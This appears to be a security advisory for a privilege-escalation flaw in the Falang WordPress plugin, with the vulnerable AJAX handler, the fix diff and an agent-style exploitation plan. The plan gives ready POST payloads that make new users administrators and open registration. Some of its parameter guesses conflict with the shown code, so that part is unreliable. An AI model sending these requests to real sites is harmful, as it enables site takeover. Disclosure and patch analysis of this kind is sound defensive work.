Falang multilanguage for WordPress <= 1.4.2 - Authenticated (Subscriber+) Privilege Escalation
Description
The Falang multilanguage for WordPress plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.4.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to elevate their privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.4.3
Source Code
WordPress.org SVNThis research plan targets **CVE-2026-54805**, a privilege escalation vulnerability in the **Falang** plugin for WordPress. The vulnerability arises from an unprotected AJAX endpoint that allows any authenticated user (including Subscribers) to modify WordPress options, potentially leading to full s…
Show full research plan
This research plan targets CVE-2026-54805, a privilege escalation vulnerability in the Falang plugin for WordPress. The vulnerability arises from an unprotected AJAX endpoint that allows any authenticated user (including Subscribers) to modify WordPress options, potentially leading to full site takeover.
1. Vulnerability Summary
- Vulnerability: Incorrect Privilege Assignment (Privilege Escalation)
- Location:
admin/class-falang-admin.php - Cause: The plugin registers multiple AJAX handlers (e.g.,
falang_set_option_translation) usingadd_action('wp_ajax_...')without implementing any capability checks (likecurrent_user_can('manage_options')) within the handler functions. - Impact: A Subscriber-level user can call these actions to update arbitrary WordPress options, such as changing the
default_roletoadministratoror enablingusers_can_register.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
falang_set_option_translation(registered inFalang_Admin::load()) - Payload Parameter:
option_nameandoption_value(ortranslation). - Authentication: Subscriber level or higher.
- Preconditions: The plugin must be active. No specific settings are required, though the vulnerability involves the "Options Translation" feature.
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
/wp-admin/admin-ajax.phpwithaction=falang_set_option_translation. - Hook Registration: In
admin/class-falang-admin.php, theload()function registers:add_action('wp_ajax_falang_set_option_translation', array($this, 'ajax_set_option_translation')); - Handler Execution: The
ajax_set_option_translationfunction (located inadmin/class-falang-admin.php, likely truncated in the snippet) receives the POST parameters. - Vulnerable Sink: The function likely calls
update_option()or a model method that modifies thewp_optionstable based on theoption_nameandoption_valueparameters without verifying the user's administrative privileges.
4. Nonce Acquisition Strategy
Based on admin/views/falang_option_translation_page.php, the plugin uses AJAX for option translation but doesn't clearly show a nonce being localized in the provided snippets. However, standard WordPress security practices suggest checking for one.
Steps to find the nonce:
- Check for Global Nonce: Login as a Subscriber and visit
wp-admin/profile.php. - Execute Discovery: Use
browser_evalto search for localized Falang data:browser_eval("window.falang || window.falang_ajax || document.body.innerHTML.match(/[a-f0-9]{10}/g)") - Specific Variable: Look for a variable like
falang.nonceorfalang_ajax_nonce. - If No Nonce Found: Attempt the exploit without a nonce, as many "Incorrect Privilege Assignment" vulnerabilities also involve missing nonce checks.
5. Exploitation Strategy
Step 1: Privilege Escalation via default_role
This attempt aims to change the default role for new users to administrator.
- Tool:
http_request - Method: POST
- URL:
https://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note: If a nonce is found in Step 4, addaction=falang_set_option_translation&option_name=default_role&option_value=administrator&nonce=[NONCE_VALUE]or&_wpnonce=[NONCE_VALUE])
Step 2: Enable Open Registration
To ensure the attacker can create a new account easily.
- Body:
action=falang_set_option_translation&option_name=users_can_register&option_value=1
6. Test Data Setup
- Install Falang: Ensure Falang version 1.4.2 is installed.
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Verify Initial State:
wp option get default_role # Should be 'subscriber' wp option get users_can_register # Should be '0'
7. Expected Results
- Response: A JSON response, likely
{"success":true}. - System State: The
default_roleoption in the database should be updated toadministrator.
8. Verification Steps
After sending the HTTP requests, verify using WP-CLI:
# Check if the default role was changed
wp option get default_role
# Check if registration was enabled
wp option get users_can_register
# (Optional) Create a new user to confirm they become an admin
wp user create new_admin new_admin@example.com
wp user get new_admin --field=roles # Should return 'administrator'
9. Alternative Approaches
If falang_set_option_translation does not directly update the option:
- Target
update_settings_post_options: Tryaction=update_settings_post_optionswith parameters discovered by auditing the truncatedajax_update_settings_post_optionsfunction. - Data Leakage: Use
action=falang_export_options&option_name=wp_user_rolesto leak the site's role structure, which might reveal other sensitive options to target. - Typos exploitation: The hook
wp_ajax_falang_option_update_translationis mapped toajax_update_term_translationin the source. This mismatch often indicates logic errors where parameters for "terms" are applied to "options," potentially allowing for database corruption or specific option overwrites.
Summary
The Falang multilanguage plugin for WordPress is vulnerable to privilege escalation because it lacks capability checks and nonce validation in its AJAX handler `ajax_set_option_translation`. This allows authenticated users with subscriber-level permissions to modify arbitrary WordPress options, such as changing the default registration role to administrator.
Vulnerable Code
// admin/class-falang-admin.php (Line 950 approx) public function ajax_set_option_translation() { if (isset($_POST['falang_option_translation'])) { $option_tree = $this->map_deep($_POST['falang_option_translation'], array($this, 'format_option')); $this->update_option_translations($option_tree); $response = new stdClass(); $response->success = 'option updated'; $response->option = $option_tree; $this->return_json($response); } wp_die(); }
Security Fix
@@ -945,26 +945,30 @@ * Set option translation for ajax * * @from 1.5 - * @since 1.3.7 add update message on option translation + * @update 1.3.7 add update message on option translation + * @update 1.4.3 fix security (add capability check) , and check ajax */ public function ajax_set_option_translation() { + check_ajax_referer( 'falang_action', '_nonce' ); - if (isset($_POST['falang_option_translation'])) { + if (current_user_can('manage_options')) { - $option_tree = $this->map_deep($_POST['falang_option_translation'], array($this, 'format_option')); + if (isset($_POST['falang_option_translation'])) { - $this->update_option_translations($option_tree); + $option_tree = $this->map_deep($_POST['falang_option_translation'], array($this, 'format_option')); - $response = new stdClass(); - $response->success = 'option updated'; - $response->option = $option_tree; - $this->return_json($response); + $this->update_option_translations($option_tree); - } + $response = new stdClass(); + $response->success = 'option updated'; + $response->option = $option_tree; + $this->return_json($response); + } + //die + } wp_die(); - }
Exploit Outline
To exploit this vulnerability, an attacker first authenticates to the WordPress site with a low-privileged account (e.g., Subscriber). They then send a POST request to the `/wp-admin/admin-ajax.php` endpoint with the parameter `action=falang_set_option_translation`. The payload includes a `falang_option_translation` array containing a key-value pair where the key is a sensitive WordPress option (like `default_role`) and the value is the desired setting (like `administrator`). Since the plugin does not verify the user's capabilities or check for a valid security nonce in versions up to 1.4.2, the application updates the specified option, granting the attacker or new users administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.